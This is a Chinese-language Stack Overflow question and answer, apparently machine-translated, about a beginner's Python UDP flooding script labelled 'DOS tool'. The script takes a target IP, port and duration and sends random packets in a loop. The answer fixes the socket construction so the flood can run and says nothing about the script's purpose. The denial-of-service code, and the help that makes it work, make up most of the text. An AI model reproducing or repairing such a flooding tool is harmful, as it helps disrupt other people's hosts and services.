我是python的新手(我正在使用Python 3.7.2),我遇到了这个问题:
Sock.sendto(字节,(ip,端口))
AttributeError:“str”对象没有属性“sendto”“
下面是完整的代码:
import os
import sys
import time
import socket
import random
sock = "socket.socket(socket.AF_INET, socket.SOCK.DGRAM)"
bytes = random._urandom(1024)
os.system("clear")
print("DOS tool here")
print("")
ip = input("Target IP: ")
port = input("Enter port: ")
dur = input("Time: ")
timeout = time.time() + int(dur)
sent = 0
while True:
try:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes, (ip, port))
sent = sent + 1
print ("Sent %s packets to %s trough port %s")%(sent, ip, port)
except KeyboardInterrupt:
sys.exit()发布于 2019-02-23 05:46:27
在你的代码中注意你是如何
sock = "socket.socket(socket.AF_INET, socket.SOCK.DGRAM)"您创建的是字符串而不是套接字!如果去掉它两边的引号
sock = socket.socket(socket.AF_INET, socket.SOCK.DGRAM)最终创建了一个socket对象。
但我们还没有完全做到这一点,因为还有一个拼写错误:socket没有SOCK常量,相反,我们希望使用socket.SOCK_DGRAM (注意下划线而不是点)作为我们的类型,如下所示:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)您将拥有一个具有所期望的适当sendto方法的套接字!
https://stackoverflow.com/questions/54834667
复制相似问题